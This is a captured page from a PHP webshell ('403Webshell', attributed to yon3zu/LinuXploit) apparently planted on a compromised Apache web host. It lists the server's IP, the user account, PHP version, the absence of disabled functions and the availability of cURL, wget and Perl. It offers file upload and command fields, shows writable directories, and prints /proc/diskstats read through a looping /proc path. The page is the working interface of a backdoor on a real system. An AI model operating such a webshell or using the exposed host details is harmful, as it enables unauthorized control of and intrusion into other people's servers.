403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/thread-self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/thread-self/root/proc/thread-self/root/proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 83745646 459157 8396284743 15221948 698576423 1811002038 77696492692 42696876 0 28500536 57820340
   8       1 sda1 3060 74 339417 1128 143 8 11876 8 0 972 1136
   8       2 sda2 83740399 459083 8395769414 15220236 698576280 1811002030 77696480816 42696868 0 28499260 57895224
   8      16 sdb 4627808484 12600816386 137962329616 1573869100 6968018414 156247256 56993887856 2046771544 0 293133348 3619825660
 253       0 dm-0 250521543 0 2004179537 51891200 4184491094 0 33475928752 596014640 0 29412056 651791496
 253       1 dm-1 835896498 0 6687179177 136626260 751533708 0 6012269664 535096096 0 13095748 674493020
 253       2 dm-2 494370974 0 3954974985 89266908 572741545 0 4581694152 201247780 0 8869992 291306344
 253       3 dm-3 1576956979 0 12615663018 264205908 439562536 0 3516500288 549707892 0 17205800 819908560
 253       4 dm-4 13849584182 0 110796680642 3253099772 1111515477 0 8892123816 943723072 0 230356088 4221499000
 253       5 dm-5 237427264 0 1899425305 41939324 64421398 0 515371184 48600892 0 2210104 90889616
 253       6 dm-6 54782 0 8223426 26372 174825 0 18106072 29688 0 26088 62148
 253       7 dm-7 260 0 11754 176 373159 0 2985272 11668 0 4936 12092
 253       8 dm-8 470770 0 43793362 207448 227732 0 2965360 189776 0 130296 406168
 253       9 dm-9 160619 0 25006202 69924 20441611 0 200169464 923860 0 141128 1024500
 253      10 dm-10 5771167 0 912415272 8282716 7263476 0 503510160 449020 0 1064676 8789292
 253      11 dm-11 8833658 0 820717514 2814564 10669660 0 97892120 18163664 0 2151892 21045896
 253      12 dm-12 381316 0 45926234 44992 88726449 0 920446896 17259376 0 508732 17319164
 253      13 dm-13 67738190 0 6532954634 3487780 2357415518 0 75950405472 141928248 0 24062616 145541928
 148       2 mars/infong-us-cl0092 0 0 0 391923772 0 0 0 1332878796 4044365053 1395209392 1432897960
 148       3 mars/infong-us-cl0107 0 0 0 1855775220 0 0 0 3557551648 4074277342 1394694104 1740649124
 148       4 mars/infong-us-cl0108 0 0 0 3521340664 0 0 0 550388444 3792276981 1400723112 154003724
 148       5 mars/infong-us-cl0123 0 0 0 2236677148 0 0 0 1386455508 3911039179 1396089816 3718722500
 148       6 mars/infong-us-cl0124 0 0 0 2839581676 0 0 0 3126744064 494244436 1398879980 1506022988
 148       7 mars/infong-us-cl0140 0 0 0 1747284264 0 0 0 586751472 4197022758 1390472548 629925672

Youez - 2016 - github.com/yon3zu
LinuXploit